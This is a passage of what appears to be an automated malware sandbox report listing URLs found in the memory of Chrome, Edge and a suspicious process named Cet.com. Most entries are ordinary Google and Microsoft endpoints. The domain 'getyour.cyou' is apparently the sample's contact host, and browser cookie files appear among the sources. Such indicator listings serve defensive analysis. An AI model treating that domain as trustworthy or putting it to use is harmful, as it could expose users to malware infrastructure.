Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview2K
Source: chrome.exe, 00000013.00000002.2671975461.000051280047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000013.00000002.2671975461.000051280047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2679688676.0000512801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672246325.000051280050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000013.00000002.2671975461.000051280047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2679688676.0000512801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672246325.000051280050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chromecache_310.21.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.24.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.24.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000013.00000002.2671639696.000051280032C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: manifest.json.24.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.24.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000013.00000002.2671639696.000051280032C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: manifest.json.24.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.24.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.24.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.24.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.24.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.24.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json.24.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000013.00000002.2671581394.0000512800310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674139956.0000512800940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000013.00000002.2674139956.0000512800940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.000000000585A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.000000000585A000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log5.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log5.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 000003.log5.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.24.dr, 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log5.24.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_306.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_306.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_306.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_306.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: Cet.com, 0000000D.00000002.3218524142.0000000003AC8000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou
Source: Cet.com, 0000000D.00000002.3218327209.00000000039B0000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/
Source: Cet.com, 0000000D.00000002.3218327209.00000000039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyou/eu:
Source: chrome.exe, 00000013.00000003.2580031559.0000096800694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000013.00000003.2580031559.0000096800694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gkh
Source: chrome.exe, 00000013.00000002.2669654747.000009680079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2580031559.0000096800694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000013.00000003.2580031559.0000096800694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000013.00000003.2580031559.0000096800694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000013.00000003.2580031559.0000096800694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000013.00000003.2582032819.00000968006F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2618772283.0000512801A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000016.00000002.2824030160.000068B000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000013.00000002.2672860731.0000512800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: m7yuk6.13.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000013.00000003.2618257019.00005128019C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000013.00000003.2618257019.00005128019C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000013.00000003.2618257019.00005128019C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardQ(
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000013.00000002.2669606353.0000096800780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000013.00000002.2671946475.000051280046C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613104033.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614581226.0000512801304000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614061867.00005128012F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614475413.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614547335.00005128013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000013.00000003.2598841114.000051280120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598730491.0000512801178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000013.00000003.2598841114.000051280120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598730491.0000512801178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000013.00000003.2582032819.00000968006F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000013.00000002.2669654747.000009680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000013.00000002.2669654747.000009680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000013.00000002.2669579624.0000096800754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000013.00000002.2671946475.000051280046C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613104033.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614581226.0000512801304000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614061867.00005128012F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614475413.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614547335.00005128013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000013.00000002.2671581394.0000512800310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2670764863.00005128000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000016.00000002.2824030160.000068B000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000016.00000002.2824030160.000068B000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.25.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.25.dr	String found in binary or memory: https://msn.comXIDv10
Source: chrome.exe, 00000013.00000002.2679688676.0000512801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672246325.000051280050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
